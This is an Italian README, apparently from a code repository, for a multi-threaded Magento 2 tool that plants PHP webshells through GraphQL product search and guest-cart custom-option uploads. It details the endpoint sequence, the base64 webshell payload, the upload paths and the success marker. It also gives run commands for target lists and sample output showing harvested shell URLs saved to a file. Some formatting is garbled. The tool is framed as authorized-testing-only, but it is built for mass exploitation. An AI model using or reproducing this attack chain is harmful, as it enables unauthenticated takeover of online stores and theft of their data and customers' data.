
Magento 2 Exploit RCE non autenticato – Carica una webshell PHP tramite la ricerca di prodotti GraphQL e le opzioni personalizzate del carrello ospite. Multi-thread, rileva automaticamente lo SKU e salva gli URL delle shell attive in up.txt. Solo per test di sicurezza autorizzati.
⚠️ Questo strumento è destinato esclusivamente a test di sicurezza educativi e autorizzati. L'uso non autorizzato contro sistemi che non possiedi è illegale.
Questo exploit sfrutta una vulnerabilità critica di esecuzione remota di codice (RCE) non autenticata in Magento 2 (Adobe Commerce). Combinando la ricerca di prodotti tramite GraphQL, la creazione di un carrello ospite e il caricamento di un file dannoso tramite opzioni personalizzate del prodotto, un attaccante può caricare una webshell PHP e ottenere l'esecuzione arbitraria di codice sul server di destinazione.
La vulnerabilità consente a un attaccante remoto di scrivere un file PHP nel filesystem del server, per poi accedervi al fine di eseguire comandi di sistema, leggere/scrivere file e compromettere completamente l'installazione di Magento.
Shinday)up.txt/graphql./rest/default/V1/guest-carts per ottenere un ID carrello./rest/default/V1/guest-carts/{cart_id}/items con una webshell PHP codificata in base64 come file di opzione personalizzata./pub/media/custom_options/quote/... o /media/custom_options/quote/....Shinday nella risposta.up.txt.Queue, unicode e altri moduli specifici di Python 2)requests, urllib3Installa le dipendenze:
pip install requests urllib3
python exploit.py <list.txt>
<list.txt> – file contenente gli URL base dei target (uno per riga), con o senza http:///https://.https://example.com
http://shop.test
magento2.target.net
up.txt nella directory corrente.python exploit.py targets.txt
[*] Total targets: 5
[*] Start time: 2025-03-15 12:00:00
[*] Starting 5 threads...
[Thread 1] Processing: https://example.com
[+] SKU : 24-WG080
[+] CART : 8f7c3e9a-1b2f-4d5e-9a8b-7c6d5e4f3a2b
[+] Upload Status : 200
[+] Webshell terpasang: https://example.com/pub/media/custom_options/quote/a1/b2/shell_xyz.php
[✓] Saved to up.txt: https://example.com/pub/media/custom_options/quote/a1/b2/shell_xyz.php
Il file PHP caricato è un semplice file manager (denominato come xxxxx_shin.php) che risponde alle richieste con un esplora file basato sul web. Contiene il marcatore univoco Shinday che lo script utilizza per verificare il caricamento riuscito.
Non lasciare questa shell su un sistema dopo il test: pulisci immediatamente.
/media/custom_options/ per la presenza di file PHP inattesi.Questo software è fornito esclusivamente a scopo educativo e per test di penetrazione autorizzati. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo strumento. Devi ottenere un'esplicita autorizzazione scritta dal proprietario del sistema prima di eseguire questo exploit contro qualsiasi target. L'accesso non autorizzato a sistemi informatici è un reato penale nella maggior parte delle giurisdizioni.
Per ulteriori dichiarazioni di esclusione di responsabilità, puoi vedere quella sulla copertina di Jenderal92. Puoi controllarla QUI !!!